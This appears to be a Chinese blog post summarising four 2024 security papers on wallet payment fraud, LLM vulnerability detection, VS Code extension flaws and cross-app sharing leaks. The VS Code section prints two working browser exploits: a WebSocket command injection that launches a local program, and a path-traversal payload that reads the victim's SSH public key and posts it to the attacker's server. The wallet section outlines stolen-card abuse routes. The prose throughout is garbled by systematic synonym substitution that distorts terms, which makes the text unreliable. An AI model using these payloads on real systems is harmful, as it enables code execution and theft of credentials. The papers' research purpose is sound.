会议论文分析-安全4大24

1.Security 24-数字钱包安全

paper地点
1.1.介绍

本文从身份认证、授权和访问控制 3个方面对数字支付安全性举行研究，作者在假设攻击者偷了用户的银行卡后银行能不能实时保证用户钱包不被盗刷的前提下举行研究。
目前主要支付协议为EMV协议，该协议由全球组织EMVCo.开发和维护。该协议将数字钱包置于支付系统的核心，通过隐蔽用户和卡片信息来防止身份偷窃和敲诈。当用户将卡片添加到数字钱包时，银行生成一个支付令牌（token）替换主账号（PAN），在生意业务中利用令牌掩护原始卡号不被恶意商家获取。钱包应用依赖智能手机的生物辨认（如面部辨认和指纹）举行掩护，因此，钱包、商家和银行间的安全通讯取决于钱包的安全性。
数字支付涉及的通讯过程如下图所示，包罗：

• 用户授权(A)：用户（持卡人）通过KBA或者MFA方式对钱包举行授权，随后银行token service provider (TSP)为钱包提供令牌（token），token和银行卡号（PAN）绑定，支付只必要token就可以了。
  
• 在线生意业务(I，一次性生意业务)：I1为一样平常用户在本身设备（比如手机）上解锁钱包应用。I2为消费终端（POS）从钱包读取token。I3为POS将token和生意业务细节发给银行完成生意业务。
  
• 定期生意业务(R，订阅服务这些按期付费)：过程和在线生意业务类似。
  

该研究旨在回答以下问题：

• RQ1-身份验证: 银行和数字钱包在将卡添加到数字钱包时实行的安全措施的有用性怎样？
  
• RQ2-授权: 攻击者怎样利用被盗的卡通过数字钱包举行支付？
  
• RQ3-授权: 受害者接纳的行动，例如（a）锁定卡片和（b）报告卡片被盗并请求更换，是否能有用防止被盗卡的恶意支付？
  
• RQ4-访问控制: 攻击者怎样绕过被盗卡上的访问控制限制？
  

一样平常银行卡支付的途径包罗：(1).刷实体卡支付、(2).一次性在线支付、(3).定期支付。当攻击者偷了用户的卡而且用户上报银行锁定卡时不同银行的访问控制计谋如下表所示：全部银行都关闭了刷卡支付权限，但有3家银行允许钱包应用用它举行在线支付，而全部银行依然允许定期支付（有点离谱，不是行内人士不懂）。
发卡银行允许刷卡支付允许在线一次性支付允许定期支付AMEXNoYesYesChaseNoYesYesDiscoverNoYesYesUS BankNoNoYesCitibankNoNoYesBoAmericaNoNoYes 下表列出了本文研究的恶意举动即利用的漏洞，办理方案等信息（都是在攻击者先偷了用户的银行卡的前提下）。
恶意举动利用的漏洞攻击举动根源办理方案身份验证绕过钱包应用优先基于KBA而不是MFA举行身份验证(上图A1步骤漏洞)向钱包添加被盗卡将验证方法选择权下放给钱包逼迫MFA身份验证计谋绕过持卡人验证利用钱包应用举行身份验证而不是PIN码和签名(I3步骤漏洞)利用攻击者的钱包授权生意业务银行对钱包应用验证的无条件信托令牌实时更新等持续身份验证违反访问控制没有验证定期生意业务(R3步骤漏洞)一次性支付任意金额陷阱门绕过访问控制的限制检查账单metadata 1.2.背景

(1).用户授权(A1)
当持卡人将卡片添加到数字钱包时，银行通常要求钱包应用举行身份验证。由于持卡人与钱包直接交互，银行会选择与钱包功能匹配的验证方式。通常利用两种身份验证方式：基于知识的验证（KBA）和多因素身份验证（MFA）（通常前者安全性较低）。
KBA必要用户提供个人信息，如账单邮政编码(billing zip code)、账单地点 (billing address)、出生日期以及社会安全号码（SSN）的后四位举行验证。最常见的KBA方式是利用账单地点和邮政编码。漏洞：攻击者可以从公开的在线数据库（yellow page, search bug）获取举行 KBA 身份验证所需的信息。例如，邮政编码和出生日期在社交媒体盛行的时代被普遍认为是公开信息。因此，攻击者利用非显而易见的方法获取受害者的个人信息，然后将被盗的卡添加到利用 KBA 身份验证的数字钱包中。
MFA则必要用户通过设备和账户接收一次性密码（OTP），具体可以通过短信或者邮箱接收。相对更安全。
(2).持卡人身份验证(I3, R3)
当生意业务到达银行举行授权时，它会颠末验证过程（CVM）以确认持卡人的资格。银行利用的访问控制服务根据生意业务类型、金额、时间和卡片状态等标准评估生意业务。此外，银行的访问控制服务通过将生意业务与类似的历史生意业务举行比较来举行敲诈检测，以确保生意业务符合持卡人的典范消费举动而不是异常的。通常，银行不允许借记卡参与定期生意业务，在R1步骤持卡人必须附带信用卡号。
CVM（持卡人验证方法）包罗多种在生意业务中验证持卡人身份的技能。这些方法包罗：(1).签名、(2).离线明文PIN、(3).离线加密PIN、(4).在线PIN、(5).离线明文PIN和签名、(6).离线加密PIN和签名、(7).消费者设备 CVM（CDCVM）。每种方法都涉及到安全性和用户便利性考量。在CDCVM中，持卡人通过智能手机利用密码、图案或生物辨认ID验证钱包生意业务，这基于something you have原则。根据paper描述，CDCVM是安全性最低但是最方便的CVM方式。
1.3.漏洞特性

下标列出了作者研究的造成漏洞的数字钱包特性，它们源于银行对钱包安全机制的信托（实际上并不可靠）。
特性能原理漏洞怎样利用多设备多用户访问同一张卡可以添加到多个钱包中,不同设备都可以访问攻击者假冒合法用户在钱包中添加盗用的银行卡利用弱KBA身份验证将被盗卡添加到攻击者钱包(A1)持卡人验证银行并未对钱包用户举行单独的持卡人验证步伐(I1,R1相当于验证，I3,R3没有单独验证)。攻击者通过本身的钱包（设备）举行验证被盗卡用于无PIN码和签名的生意业务不对定期生意业务举行访问控制银行允许在丢失或被盗的卡上举行定期生意业务商家将在线生意业务标记为定期生意业务错误标记生意业务绕过卡锁定限制 Threat model: 攻击者是数字钱包用户，受害者为美国主要银行的信用卡持有人。作者假设攻击者无法干扰银行与钱包之间的通讯。还假设攻击者能获取受害者丢失或被盗的卡片，且受害者尚未向发卡银行报告。这一假设具备现实底子，因为卡片被盗与受害者发现并报告之间存在时间差，攻击者可在此时间窗口内发动攻击。类似假设也出如今相关研究中。
为了克制被银行发现，攻击者不会利用被盗的实体卡举行任何线上或线下的购买。相反，他们会利用各种安全措施来隐蔽身份，规避银行和钱包提供商的检测。虚假身份和一次性手机是假冒和敲诈攻击中的常见工具。已有研究表明，攻击者可以通过虚拟电话号码和虚假邮箱创建虚假身份，并从事敲诈性银行活动。基于这些研究，本文假设攻击者利用这些方法防止银行和钱包应用追踪他们。
1.4.数字支付生态系统的不安全性

1.4.1.用户授权方面(A1)

下图反映了攻击者偷卡后往本身钱包里添加卡（CARD ADD）的过程，一开始卡还没被银行锁定。

• (a).攻击者发送 CARD ADD (1)请求后，银行和钱包实行握手(2-4，攻击者没参与)，首先就要利用的认证方法达成一致。在(4,CompabilityInformation)步骤，Wallet列出支持的认证方法及其优先次序。在收到支持的认证方法后，银行选择优先级最高的一个。在(5)步，钱包发送包罗受害者银行卡号（PAN）的 AUTHENTICATE 请求给银行。一旦银行收到来自钱包的认证请求，它会验证PAN并生成认证响应。
  
• (b).(6a-9a)和(6b-9b)分别列出了KBA和MFA的认证过程。
  
• ©.一旦用户通过认证，银行利用令牌服务提供商（TSP）生成一个令牌（PAN的署理身份）；并将该令牌以及与之关联的PAN的最后四位数字（称为 PANid）共享给钱包（消息10）。当钱包向用户发送 CARD ADD 成功关照（11）时，认证过程完成。
  

上述过程漏洞在于，在认证步骤，即使接纳MFA认证，攻击者可以拨打银行的自动热线，热线会要求提供与受害者卡片相关的KBA信息，如出生日期和社会安全号码的最后四位数字，等同于回退到KBA认证，而这些可以在公共数据库查到。最根本还是KBA用起来很方便。
这里作者用了Bank of America(Visa card) 以及Chase bank (Master card)两张卡举行实验，钱包应用包罗Android平台的PayPal、GPay以及IOS的Apple Pay。发现PayPal和GPay仅利用账单地点举行KBA（下图a），而Apple Pay则针对每张卡利用两组不同的MFA方法（下图b,c）。对于Bank of America(Visa card)，Apple Pay提供三种MFA选项：短信OTP、电子邮件OTP和通过自动电话举行验证（下图b）。然而，对于Chase bank (Master card)，它仅利用短信OTP作为MFA（下图c）。

作者还发现，攻击者将偷到的卡添加到本身的钱包应用后，用户上报银行换卡后，之前的支付token并不会打消。此过程不要求重新认证。如下图所示，乃至攻击者的钱包应用内也会同步新PANid更新，同时token仍然利用旧的。

作者用 American Express (AMEX) credit card,以及 Chase Visa credit和debit cards举行实验，三张卡片首先被添加到受害者和攻击者的钱包中（Apple Pay、PayPal和GPay）。一旦攻击者成功将卡片添加到其钱包中，受害者通过接洽银行报告卡片丢失事件，并请求发放新卡。银行立即冻结报告的卡，并将新卡邮寄给受害者。
我们观察到攻击者钱包中出现两种不同的效果。首先，对于信用卡（Chase Visa和AMEX），攻击者的钱包收到来自银行的静默更新，将新PANid与旧token举行链接。其次，对于Chase Visa debit card，钱包应用会发送关照（如下图），指出该借记卡无法再与Apple Pay利用。

银行对钱包建立了无条件的信托。由于这种信托，银行没有实行令牌打消机制，以限制在关键场景中钱包对卡片的访问。因此，当旧token与PANid绑定时，它保持稳定。在卡片更换事件中，银行在钱包中更换PANid而不更新token。同时银行未能验证接收卡片更新的钱包是否属于卡片持有者。这影响了受害者的利益，因为只管银行已发放新更换卡，攻击者仍可访问原卡片。
经验教训是，银行对钱包的无条件信托超出了用户认证。在关键事件中，如卡片丢失，银行既不从钱包中打消卡片的token，也不要求用户验证以继承利用钱包。因此，攻击者的钱包与合法用户的钱包应用接收雷同的更新。
1.4.2.钱包生意业务授权漏洞(I3)

该过程主要发生在钱包应用、POS终端上。如下图所示，漏洞在于，银行不要求POS终端实行卡片持有者验证。假设卡片全部者和钱包应用用户是同一人

1.4.3.通过定期生意业务绕过访问控制限制(R3)

攻击者可以诱骗商家将一次性生意业务标记为“定期生意业务”，从而绕过银行的访问控制限制。银行对待定期支付的方式与一次性生意业务不同，主要是因为商家会对未付款项惩罚持卡者。银行旨在掩护持卡者免受延迟付款的影响，因此即使卡片已被锁定或丢失还是会处置惩罚来自钱包的定期支付。
首先持卡人用户通过数字钱包与商家设置定期支付合同。钱包应用作为署理，向银行发送合同详情（例如，支付的周期性）和商家信息。通过这种方式，银行与商家建立信托，授权其发布定期生意业务。银行不会实行进一步的访问控制检查，而是处置惩罚针对注册的 merchantID 和 contractID 发起的付款。同时商家未来自客户保存的支付方式的生意业务视为定期生意业务，在攻击者注册后可以用这一漏洞构造定期生意业务，随后商家和银行按照常规方式通讯。
关键要点是，银行决定允许商家自由将任何生意业务标记为“定期生意业务”，这是可用性与安全性之间的衡量。这种设计虽然让用户在锁定实体卡后继承利用服务，但也导致了对一次性生意业务的访问控制绕过漏洞。
1.5.办理方案

• 1.逼迫性MFA认证，这可以限制攻击者将受害者银行卡添加到本身的钱包中，也减轻了问题2和问题3的影响。
  
• 2.利用持续认证举行token管理，银行可以接纳持续认证协议，并在关键事件后（如卡片丢失）定期重新认证钱包并革新token。
  
• 3.区分一次性生意业务和定期生意业务。目前，银行依赖商家分配的生意业务类型标签来决定授权机制。银行应评估生意业务元数据（如时间、频率和服务/产物类型）以及生意业务历史信息，以确定生意业务的类型。例如，标记为定期生意业务的生意业务不能用于购买礼品卡。
  

2.S& 24-LLM在漏洞检测上的效果

paper地点
作者构建了一个包罗228个代码场景的数据集，并通从8个不同的维度分析了8种最先辈的LLMs。评估效果表现，LLMs 的响应具有不确定性，推理不正确且不可靠，而且在现实场景中表现不佳。更为重要的是，研究发现，即便是“PaLM2”和“GPT-4”等最先辈的模型也存在显着的非鲁棒性：仅仅通过更改函数或变量名称，或在源代码中添加库函数，这些模型在26%和17%的案例中会产生错误答案。这表明，在LLMs能作为通用安全助手之前，仍需进一步改进。
2.1.Evaluation框架

作者提出的Evaluation框架为SecLLMHolmes，架构图如下所示：
这里Investigation Dimension部门Parameter指的是LLM的 temperature 和 top_p 值。

关于Diversity of Prompts，作者选择了下表列出的prompt本领（部门节选）
ID类型描述S1ZS-TO零样本，输入包罗：代码片断 + 关于是否有指定CWE出现的问题S2ZS-RO将S1中LLM的角色更换为 helpful assistantS3ZS-RO将S1中LLM的角色更换为 security expertS4ZS-RO将S1中的问题部门删除，LLM的角色设定为分析指定安全问题的 security expertS5FS-TO少样本，在S1的底子上添加一个漏洞example + 对应patch + 指定CWE的推理过程S6FS-RO少样本，在S4的底子上添加一个漏洞example + 对应patch + 指定CWE的推理过程R1ZS-TO在S1的底子上加上一个step-by-step过程 关于数据集，作者设计了228个代码场景（包罗48个人工构建、30个现实世界场景，以及150个代码加强场景）来测试LLMs在检测代码中软件漏洞方面的多种能力。关于数据加强，作者用到了下面本领，包罗函数重定名、变量重定名等。

除了标注代码片断是否包罗漏洞外，作者还必要对这些漏洞提供表明，以评估LLMs的推理能力及其决策的合理性。为此，作者从228个场景中随机抽取48个，并由三位安全专家（包罗论文第一作者）均匀分配任务，依据MITRE官方CWE文档为每个场景撰写100字的真实推理理由。专家们随后比较并讨论各自的推理，达成一致意见。确认推理标准一致后，第一作者编写了剩余180个漏洞表明。这些Ground Truth（Gr）随后用于Evaluator模块的下一步分析。
框架图的Evaluator负责比对LLM生成效果和Ground Truth，由于SecLLMHolmes全自动运行，作者利用GPT-4来分析响应。具体步骤如下：

• 1.提取二分类效果：首先，将LLM回答通报给GPT-4，并添加基于角色的提示（Pe）以提取两部门信息。第一部门是二分类效果，判断LLM是否检测到代码中的漏洞（Pr），生成“yes/no”回答。为此，GPT-4用100字总结模型输出中的理由，表明代码中是否存在漏洞。
  
• 2.漏洞原因总结：为确保评估的一致性，并克制分析中包罗建议、修复代码等内容，作者从LLM的原始响应中提取漏洞根本原因的总结。
  
• 3.评估指标：作者进一步提供了评估终极答案和LLM推理的指标。在部门情况下，LLM未提供明确答案，因此引入了第三个判定效果，即“n/a”。
  

二分类效果会用来评估LLM的accuracy，关于漏洞推理的评估，作者接纳Rogue分数、余弦相似度、GPT-4来比较LLM和Ground Truth推理过程。盘算余弦相似度时作者用OpenAI的 yext-similarity-davinci-001 来生成embedding，当GPT-4认为LLM和Ground-Truth推理过程一致时回答1，反之回答0。
2.2.Evaluation

实验内容太多了就选几个说。
2.2.1.prompt本领影响

关于prompt本领的影响，作者用48个手工制作的漏洞样本举行分析，效果如下图所示：

没有一个提示在全部LLMs中表现出色，各模型在不同类型提示下表现不同。GPT模型和codechat-bison在被提示依照类似人类的逐步推理过程时表现更好（对应的prompt本领ID是R4、R6和R2）。chat-bison在被赋予 security expert 角色时表现最佳，而’codellama34b’在利用S1提示时表现最佳，S1提示仅询问代码片断是否包罗特定漏洞。
2.2.2.可信推理

其次是关于可信推理，假如LLM给出的回答和推理过程均正确，那么算可信推理，作者重点关注以下方面，实验效果如下图所示：

• 1.LLM在多少案例中为代码片断中的漏洞提供了推理 。
  
• 2.在多少正确答案中，LLM也提供了正确的推理(图中绿色部门)。
  
• 3.在多少正确答案中，LLM提供了错误的推理（黄色部门）。
  
• 4.在多少错误答案中，LLM提供了错误的推理（赤色部门）。
  
• 5.在多少答案中，LLM给堕落误答案，但提供了正确的推理（蓝色部门）。
  

只管大多数情况下LLMs的答案和推理一致，但每个模型都有提供正确推理却得堕落误答案的案例。同时，LLMs也存在给出正确答案但推理错误的情况。此外，Google的PaLM2模型推理率较低，常缺乏表明，而GPT模型，尤其是gpt-4和codellama34b，为每个答案提供了推理。这些效果表明，当前LLMs的回答在某些情况下大概并不可信。
2.2.3.代码难度的影响

LLMs在处置惩罚简朴代码场景时通常表现更好，但有一些破例（如对于FS-TO prompt本领，codechat-bison正确辨认了更多中等难度的漏洞）。通过手动检查误分类的场景，作者发现了两个问题：

• 1.LLMs对库函数的安全实践不敷认识。
  
• 2.LLMs无法处置惩罚复杂的多函数和多变量数据流模式。
  

例如，在CWE-89（SQL注入）场景中，代码在一个 create query 函数中创建SQL查询及其参数，并将其返回到 login函数，再作为单独的参数通报给 pymysql。然而，全部LLMs都未能明确这一数据流，它们错误地认为 login 函数只通报了一个参数。此外，LLMs好像未意识到 pymysql 会对输出举行整理。

2.2.4.鲁棒性

即使是像添加空格和换行符如许的微小加强，仍会在某些情况下导致全部LLMs给堕落误的答案和推理，并破坏它们的思维链。改变函数或变量名称以及存在不可达代码也会导致错误答案。LLM的性能受函数和变量名称影响。例如，将变量名称更改为 buffer 会导致错误检测为缓冲区溢出，而将函数名称更改为 non vulnerable 或安全名称则增加了被判定为非漏洞的大概性。
最重要的是，LLMs对通常用于整理或被认为大概存在漏洞的库函数表现出偏见。例如，全部LLMs会将C语言中安全利用的 strcat 标记为有漏洞，而不安全利用的 strncat 却被标记为安全。同样，C中的 realpaht 或Python中的 escape 等不安全的整理库函数也被检测为非漏洞。实验表明，没有任何提示技能能完全保持鲁棒性，最好的prompt技能和chain-of-thought也会在鲁棒性测试中失败，导致错误响应（GPT-4中占17%）。

最后，在用real-world CVE举行分析时，作者还发现LLMs还常常错误地将已修复的代码辨认为漏洞，这在生产情况中尤其问题严重，因为会导致误报数目激增。
3.NDSS 24-IDE插件中存在的漏洞威胁

paper, artifact
作者发现了vscode插件中存在的漏洞，并将threat model抽象成12种污点规则。包罗4种source规则和3种sink规则。在vscode中有21个拥有超过600万次安装的VS Code插件存在代码实行漏洞，代码注入漏洞主要泉源于读取工作区设置和文件。作者还揭示了Node.js生态对vscode插件的影响：共有13655个插件依赖超过100个npm的通报依赖，此中9,710个扩展依赖存在严重安全漏洞的npm包。
3.1.前置知识

深入vscode插件漏洞：这篇blog里介绍了vscode插件大概引入的几种漏洞示例。
3.1.1.命令注入漏洞

示例来自vscode latex-workshop 8.17.0，也是这篇paper作者的motivating example。默认情况下，在安装并启动latex-workshop之后，每当开发者在编辑器中打开 .tex 文件时，latex-workshop都会在随机端口上启动HTTP服务器和WebSocket服务器，该特性允许开发者通过浏览器预览编译的pdf文件。
漏洞成因：插件在从WebSocket client接收输入时未经净化就流入 openExternal API。
Threat Model：假如开发者在latex-workshop启动后不警惕通过浏览器访问攻击者的服务器，那么大概会造成开发者本地恶意命令实行。
例子：下面两张图反映了研究职员启动latex-workshop后用浏览器访问恶意网页 ngrok.io 后本地启动了盘算器应用的情况。

Exploit：代码如下，先实行 scan 函数获取latex-workshop的http端口随后实行 exploit 打开开发者主机的盘算器。

1. <body>
2. Please wait...
3. <script>
4.     async function checkPic(url) {
5.         return new Promise(((resolve, reject) => {
6.             const img = document.createElement('img');
7.             img.onload = () => resolve();
8.             img.onerror = () => reject();
9.             img.src = url;
10.         }));
11.     }
13.     function exploit(port) {
14.         const socket = new WebSocket(`ws://127.0.0.1:${port}`);
15.         socket.addEventListener('open', () => {
16.             socket.send(JSON.stringify({
17.                 type: 'external_link',
18.                 url: 'file:///System/Applications/Calculator.app/Contents/MacOS/Calculator',
19.             }));
20.         });
21.     }
23.     async function scan() {
24.         for (let port = 49152; port < 65535; port++) {
25.             try {
26.                 await checkPic(`https://127.0.0.1:${port}/viewer/favicon.ico`);
27.                 return port;
28.             } catch (_) {}
29.         }
30.     }
31.     scan().then(exploit);
32. </script>
33. </body>

复制代码

3.1.2.路径遍历漏洞

源自Open In Default Browser 2.1.3。该插件允许开发者在默认浏览器通过 52330 端口预览开发中的html页面。
Threat Model：启动插件后，当开发者通过浏览器不警惕访问攻击者服务器时，攻击者可以通过漏洞访问开发者文件系统，窃取敏感数据。
例子：下图是研究职员用该插件预览 test.html 的画面。随后他们通过浏览器访问 ngrok.io 后。再切换到攻击者服务器根目次下，发现多了一个 key.txt，为开发者主机上的 id_rsa.pub 文件内容。

Exploit：攻击者服务器上的payload如下

1. <body>
2. Nothing to see here.
3. <script>
4.     // We guess that the workspace of a victim in at maximum 10 levels
5.     // deeper than his/her home folder.
6.     const maxNesting = 10;
7.     ///
8.     // The XSS payload.
9.     const payload = `
10. <body>
11. <script>
12. for (let n = 0; n < ${maxNesting}; n++) {
13.     fetch('http://localhost:52330/?/' + '../'.repeat(n) + '.ssh/id_rsa.pub')
14.         .then((res) => {
15.             if (res.status === 200) {
16.                 res.text().then((data) => window.parent.postMessage(data, '*'));
17.             }
18.         });
19. }
20. </scr` + 'ipt></body>';
21.     ///
22.     ///
23.     // This part is enforcing the victim's browser to download the payload
24.     // as an HTML file.
25.     const fileName = `file_${Math.random()}.html`;
26.     const a = document.createElement('a');
27.     a.setAttribute('href', 'data:text/plain;charset=utf-8,' + encodeURIComponent(payload));
28.     a.setAttribute('download', fileName);
29.     a.style.display = 'none';
30.     document.body.appendChild(a);
31.     a.click();
32.     document.body.removeChild(a);
33.     ///
34.     // After a short delay we open a bunch of iframes trying to load
35.     // the file which a victim just downloaded.
36.     setTimeout(() => {
37.         for (let n = 0; n < maxNesting; n++) {
38.             const iframe = document.createElement('iframe');
39.             iframe.setAttribute('src', `http://localhost:52330/?/${'../'.repeat(n)}Downloads/${fileName}`);
40.             iframe.setAttribute('style', 'width: 0px; height: 0px;')
41.             document.body.appendChild(iframe);
42.         }
43.     }, 500);
45.     // In this handler we receive a message from one of the iframes.
46.     // The message should contain an id_rsa.pub file text. We send it to
47.     // our track.php script to save.
48.     window.addEventListener('message', (event) => {
49.         const formData = new FormData();
50.         formData.append('data', event.data);
51.         fetch('/track.php', {
52.             body: formData,
53.             method: 'post'
54.         });
55.     }, false);
56. </script>
57. </body>

复制代码

3.1.3.建议

由于VS Code扩展在此中利用第三方库，因此开发职员应该通过安装最安全和最流行的依赖项来重用社区知识，而不是本身造轮子。例如，“Open In Default Browser”扩展可以利用npm的send包来防止路径遍历漏洞，而不是实现自定义静态服务器。
3.2.VSCode插件漏洞Threat Model

假设：这篇paper中作者假设的场景如下：

• 1.VS Code插件开发职员不会故意开发恶意插件。
  
• 2.VS Code用户不会故意攻击本身的系统。
  
• 3.用户在从github等平台clone大概不受信托的code repository到本地后会禁用VS Code受限模式。
  
• 4.VS Code 工作区之外的文件（例如本地用户文件）也被视为可信。
  

paper总结的Threat Model如下，Workstation一样平常指开发者主机：

• 1.攻击者大概有VS Code当前打开的code repository的控制权（开发者clone了攻击者的repo），在配置文件中注入恶意代码。
  
• 2.一些 VS Code插件启动Web服务器，而用户不警惕在浏览器访问攻击者服务器时插件Web服务器漏洞被利用（下图web browser）。
  
• 3.插件启动的web服务大概途径攻击者，主要是由于利用http而不是https导致的。或者，插件启动的web服务已经被攻击者影响了会重定向到攻击者那。
  

3.3.污点规则

作者基于CodeQL实现自定义检测工具。定义的source规则如下，恶意输入大概来自VSCode工作区配置文件、其它文件、网络以及web server。

Sink规则如下，主要是命令实行和文件写入。

3.4.分析

作者在2023年1月从Microsoft Visual Studio Marketplace收集了43,436个插件的metadata和源代码。通过爬虫抓取了插件名称、发布者、最后更新、安装次数和GitHub仓库等字段。此外，还收集了插件的GitHub内容和来自Open Source Insights的npm安全报告数据，以深入相识其数据及依赖关系。
下表展示了从第一类source（工作区配置文件）检测到的flow数目，流向三个sink（1）shell 命令实行，（2）eval()，（3）文件写入。

从第二类source（文件读取）检测到的flow的统计效果如下图所示

实验效果有点多，目前就放这些。
4.NDSS 24-跨App共享造成的隐私泄漏

paper
4.1.Introduction

跨应用分享（Cross-app content sharing, Cracs）：图1展示了Cracs的典范流程，分享者Alice分享一个隐私敏感的视频给接收者Bob。首先，Alice在YouTube视频应用中点击分享按钮（步骤1）。随后，源应用YouTube弹出可选的分享目的应用列表，并询问Alice选择哪个目的应用举行分享（步骤2）。Alice选择目的应用（如Facebook Messenger）和接收者Bob后，分享的内容以消息形式表如今目的应用的谈天框中（步骤3）。本质上，Cracs的技能原理是将托管共享内容的URL从源应用通报到目的应用。

原理：源应用（如YouTube）与目的应用（如Facebook）之间有协议确保数据正确传输。共享数据通常为内容的URL，通过共享SDK封装成特定数据结构，终极通过系统框架的跨应用通讯机制通报。在Android上，这通过 Intent 的IPC通道完成。支持跨应用分析的SDK分为目的应用SDK和第三方SDK。

• 一样平常目的应用（如Facebook、Twitter）会提供专用SDK，包罗共享API，源应用（Youtube）通过这些API准备并通报内容。例如，源应用必要利用Facebook共享SDK，将内容发送给Facebook好友。
  
• 第三方SDK则整合了多种目的应用的共享SDK，简化了开发流程，开发者只需调用第三方API并指定目的应用，第三方API会自动调用相应的目的应用SDK。
  

Cracs的本质是共享内容的URL。理想情况下，这可以通过简朴的内容标识符（如内容ID或资源名称）来实现。然而，当前Cracs的设计和实现中，实际用于通报共享内容的URL每每包罗不必要的复杂数据，袒露了用户的敏感信息，从而带来了严重的隐私问题。下图展示了某消息应用的示例URL，只管共享内容仅通过参数 20230625A01ZKI00 就可以标识，但链接还包罗用户身份（uid）等额外信息，从而记录发送者和接收者的浏览爱好。

作者概括并归纳了三种特定应用中的隐私袒露举动模式：共享举动跟踪（SBT）、共享数据拦截（SDI）和共享者数据袒露（SDE）

• 1.SBT：托管应用（上图中Youtube）试图追踪全部查看分享内容的用户，从而推断分享者与分享对象之间的社交关系。
  
• 2.SDI：涉及到应用（Youtube）或其托管的第三方组件对分享者共享内容的持续监控和收集。
  
• 3.SDE：不当的分享举动使得分享者的个人信息过度袒露给分享对象，例如个人主页、浏览历史记录、发布的内容以及关注者/粉丝列表。
  

User Study：为了进一步相识平凡用户在实际利用中对跨应用分享的体验、见解，作者举行了一个综合性用户研究，参与者共计300人。研究表明，只管跨应用分析在移动用户中被频仍利用，但大多数用户非常重视他们的私密数据，如在线身份和共享内容，尤其是他们的社交关系。此外，作者观察到，当用户明确到实际的隐私影响（例如社交关系的袒露以及生疏人访问的个人资料）后，他们对利用Cracs功能的意愿显着下降。
App分析：作者分析了来自美国和中国应用市场的300款热门应用（各150款），发现186款具有跨站分享功能的应用中，有74款存在隐私泄露模式，涵盖短视频社交、购物、消息和康健等多个类别。中国热门应用的隐私泄露比例显着高于美国（分别为55.83%和10.60%）。作者还发现两个广泛利用的第三方库在积极收集用户分享数据，且这些隐私泄露举动每每难以被用户察觉。此外，手动检查的iOS版本表现，至少58/71（81.69%）款应用也存在类似的隐私泄露问题。
4.2.隐私威胁

1.共享举动跟踪（SBT）：主要威胁来自源应用。分享者从源应用分享时，源应用理论上不应得知接收者的任何信息。但是源应用可以通过两种方式侵入隐私，追踪分享者和接收者的共享活动，并推断他们的社交关系：

• 追踪分享者：源应用在共享URL中植入追踪器，与分享者身份关联，持续跟踪内容。
  
• 追踪接收者：接收者点击共享内容时，源应用要求登录或重定向至源应用，从而绑定接收者的查看举动。
  

上图展示了源应用通过追踪机制，在分享者和接收者之间建立社交接洽。由于共享内容关联了分享者（通过追踪器）和接收者（通过登录状态）的身份信息，源应用可以轻易得知：(1) 双方对共享内容感爱好，(2) 双方在目的应用中有社交关系。
分享者与接收者的接洽（如目的应用中的好友关系）应为机密信息，源应用不应访问。例如，微信用户的接洽人列表默认对除微信外的任何应用都是保密的。然而，Cracs为源应用提供了推断分享者社交关系的途径。
2.共享数据拦截（SDI）：主要威胁来自第三方共享SDK提供方。每次分享者利用Cracs时，SDK不但调用合法的共享API（第5行的 share2WX），还额外发送网络请求，将共享内容和用户信息发送到其服务器（第7行的 ShareResultApi）。

3.共享者数据袒露（SDE）：主要威胁来自接收者。共享URL大概会将源应用的用户敏感数据袒露给分享对象。在某些情况下，分享者的身份信息（如用户ID或账户名称）通过共享内容不必要地泄露给接收者。这使得出于隐私好奇的接收者能够访问源应用中与分享者账户相关的信息（例如个人资料），而这些信息本不应被接收者获取。
如下图所示，具有肯定技能背景的接收者可以轻易获取共享内容的URL，并提取分享者的用户标识符（uid，步骤1）。随后，他们可以构建一个URL，访问分享者在源应用中的主页（步骤2），进而查看分享者的账户内容，如点赞/收藏和关注/粉丝

此外，一些应用开发者直接在共享内容顶部表现分享者的用户名，这显着袒露了分享者的个人信息（如下图）。因此，即使没有技能背景的平凡人也能访问和监控分享者在源应用中的账户。

以上3种数据泄露模式为恶意用户提供了额外的渠道，以分析和推测用户的敏感信息。具体而言，SBT 和 SDI 使源应用和第三方共享 SDK能够收集和监控用户的共享活动，而 SDE 则允许分享对象访问和推断分享者的附加信息。必要注意的是，SDE 中用户资料推断的能力依赖于不同应用之间的数据关联，而非特定平台的隐私设置。换句话说，若没有 SDE，攻击者大概无法揭示分享者的社交网络账户，尤其是在账户名不是其真实姓名的情况下。
研究表明，由于广告和营销生态系统，应用开发者有强烈动机收集用户的生齿统计信息。在 Cracs 的情况下，SBT 和 SDI 为开发者或第三方提供了额外渠道来收集和推断用户信息。攻击者可以通过共享活动轻松推断出用户的年龄、性别、政治倾向乃至性取向。此外，有证据表明，广告公司利用社交圈实行更准确的定向营销。
4.3.User Study

作者利用问卷星在线招募参与者完成问卷。每位参与者需填写16个问题，预计耗时约2.5分钟，并给予2人民币的补偿。作者的研究仅收集匿名数据。为确保回答质量，作者添加了一道图灵测试问题 ，以过滤潜在的呆板人。
根据参与者的年龄，156/300（52%）在18到30岁之间，140/300（46.67%）在31到45岁之间。此外，超过90%的参与者拥有大专以上学历。通过问卷星招募的高学历参与者比例高于中国公众总体水平（37%的生齿拥有中等教育或以上学历）。因此，作者预期参与者在隐私方面的知识和经验与公众相当，乃至大概更高。
效果表明，Cracs在实际利用中确实很常见。只管参与者对隐私风险表现担忧，但他们认为在一样平常利用Cracs时很难辨认或克制隐私曝光。以下是关键发现。
1.Cracs利用很普遍：全部参与者在一样平常生活中都利用共享功能。同时，36.34%的参与者每周至少分享一次内容，94.67%的用户每月至少分享一次。
2.用户并未完全意识到Cracs的数据泄漏：86.22%的用户在利用源应用的共享功能时默认保持登录状态，这使得恶意举动更容易追踪用户，导致在Cracs过程中出现SBT、SDI和SDE。此外，59.67%的用户选择登录以利用某些共享功能，而65.33%的用户在访问共享内容前也选择登录，从而增加了隐私数据泄露的风险。
3.用户重视隐私数据，认为影响他们的隐私泄露不可接受：94%的用户认为SBT导致了隐私泄露），63.67%对源应用获取目的应用的社交关系表现不可接受。此外，81%的用户认为SDI造成了隐私泄露，64%对此感到不可接受。对于SDE，73%的用户认为该模式也导致了隐私泄露并表现不可接受。
4.用户在相识Cracs的实际隐私风险后，分享的意愿显着下降：超过一半的参与者（55.33%）甘心放弃共享以掩护隐私。对于仍选择共享的参与者，绝大多数（29.33%）表现由于缺乏替换选项，他们被迫在共享与隐私之间作出妥协。此外，40.33%的参与者表现假如共享必要登录，他们会选择不登录。类似地，34.67%的用户表现假如源应用要求他们在查看内容前登录，他们会选择不查看共享内容。
4.4.应用分析

